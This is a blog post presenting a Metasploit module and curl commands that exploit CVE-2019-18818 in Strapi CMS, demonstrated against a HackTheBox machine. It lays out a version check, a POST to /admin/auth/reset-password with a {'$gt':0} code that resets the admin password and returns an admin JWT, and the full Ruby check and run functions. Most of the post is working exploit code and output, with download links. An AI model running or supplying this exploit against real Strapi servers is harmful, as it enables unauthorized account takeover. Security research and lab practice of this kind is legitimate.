CVE-2019-18818 (Metasploit) + POC

I have recently started creating helpers and exploits for the Metasploit Framework and I would like to share my experience on my first helper for CVE-2019-18818.

Before we start explaining what the module consists of, a brief summary of what CVE-2019-18818 is. This vulnerability was published in the NATIONAL VULNERABILITY DATABASE (NVD) on July 11, 2019, this flaw mishandles password reset in packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js in Strapi 3.0.0-beta.17.4, therefore this allows changing the password of a privileged user and also guarantees unauthorized access to the CMS, hence it was classified as CRITICAL due to its severity and easy exploitation.

As if that were not enough, some time later, on December 5, 2019, CVE-2019-19609 was found in Strapi 3.0.0-beta.17.8, unlike CVE-2019-18818, this allowed the execution of arbitrary code by an authenticated user.

In addition, using Strapi CMS beta on outdated versions gives an attacker the opportunity to compromise you.

Now, how is it exploited? Well, it is very easy, we will send JSON data to the server to a specific route of the CMS and we will gain access as a legitimate user by dumping a JSON Web Token.

First, we need to check if the version being used in Strapi is vulnerable, that is, prior to 3.0.0-beta.17.5, so we can send JSON data through a GET request to the server in ‘/admin/init’ specifying in the Content-Type header that we are sending data in JSON, we can do this in the following way with curl.

┌──(root💀kali)-[/home/kali]
└─$ curl -X GET http://api-prod.horizontall.htb/admin/init -H 'Content-type: application/json' -s | jq                        
{                                                                                                                             
  "data": {                                                                                                                   
    "uuid": "a55da3bd-9693-4a08-9279-f9df57fd1817",                                                                           
    "currentEnvironment": "development",                                                                                      
    "autoReload": false,                                                                                                      
    "strapiVersion": "3.0.0-beta.17.4"                                                                                        
  }                                                                                                                           
} 

In the Metasploit helper module, implement this functionality in the check function.

def check
    res = send_request_raw({ 'uri' => '/admin/init' })
    version = JSON.parse(res.body) 

    if version["data"]["strapiVersion"] == '3.0.0-beta.17.4'
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end    
end

I use send_request_raw to send a GET request, then I parse the JSON data from the server response with JSON.parse and store it in the version variable, I define a condition, if version["data"]["strapiVersion"] == '3.0.0-beta.17.4', I extract strapiVersion from the version variable that contains the version and make a comparison, if strapiVersion is equal to ‘3.0.0-beta.17.4’, then the server is vulnerable, so I return return Exploit::CheckCode::Vulnerable, otherwise I return return Exploit::CheckCode::Safe.

So far this has been to verify that the server is vulnerable, now let’s move on to exploiting the vulnerability.

We will send a POST request to /admin/auth/reset-password and specify the following data in JSON:

{
  "code": {"$gt:0"}, # Bypass WAF
  "password": "Newpass123", # Nueva contraseña
  "passwordConfirmation": "Newpass123" # Confirmation new password
}

We can do it with curl like this:

┌──(root💀kali)-[/home/kali]
└─# curl -X POST -H 'Content-type: application/json' http://api-prod.horizontall.htb/admin/auth/reset-password -d '{"code": {"$gt":0},"password":"pas","passwordConfirmation":"pas"}' -s | jq
{
  "jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ0NDQ0MjI0LCJleHAiOjE2NDcwMzYyMjR9.il6oFUjKXH7ke_uOVqM99quXU9qOyfKKY30ihgG21I4",                                                                                   
  "user": {
    "id": 3,
    "username": "admin",
    "email": "admin@horizontall.htb",
    "blocked": null
  }
}

The response shows us a valid JWT of the admin user that can be used later.

This would be the code in the Metasploit module.

def run
    json_body = { 'code' => {'$gt' => 0},
      'password' => datastore['NEW_PASSWORD'],
      'passwordConfirmation' => datastore['NEW_PASSWORD'] }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/admin/auth/reset-password',
      'ctype' => 'application/json',
      'data' => JSON.generate(json_body)
    })

    print_status("Changing password...")
    json_format = JSON.parse(res.body)
    jwt = json_format['jwt']

    if res.code == 200
      print_good("Password changed successfully!")
      print_good("USER: admin")
      print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
      print_good("JWT: #{jwt}")
    else
      fail_with(Failure::NoAccess"Could not change admin user password")
    end
  end

I start by defining my JSON data in Ruby format concatenating the user data, I save it in the variable json_body and send a POST request using send_request_cgi, I generate my valid JSON data with JSON. generate(json_body) in the request, I save the request in the variable res and parse the data with JSON. parse(res.body), I store it in json_format and then I save the JWT parameter that contains the JSON Web Token of the admin user in the variable jwt = json_format['jwt'] and I do a comparison, if res. code == 200, that is, if the response of the status code on the server side is 200 OK, it means that the password was changed successfully and it shows you the new password, user and JWT of the admin user, otherwise I show Could not change admin user password.

Exploit download: ExploitDB or Packet Storm

FEW

Leave a comment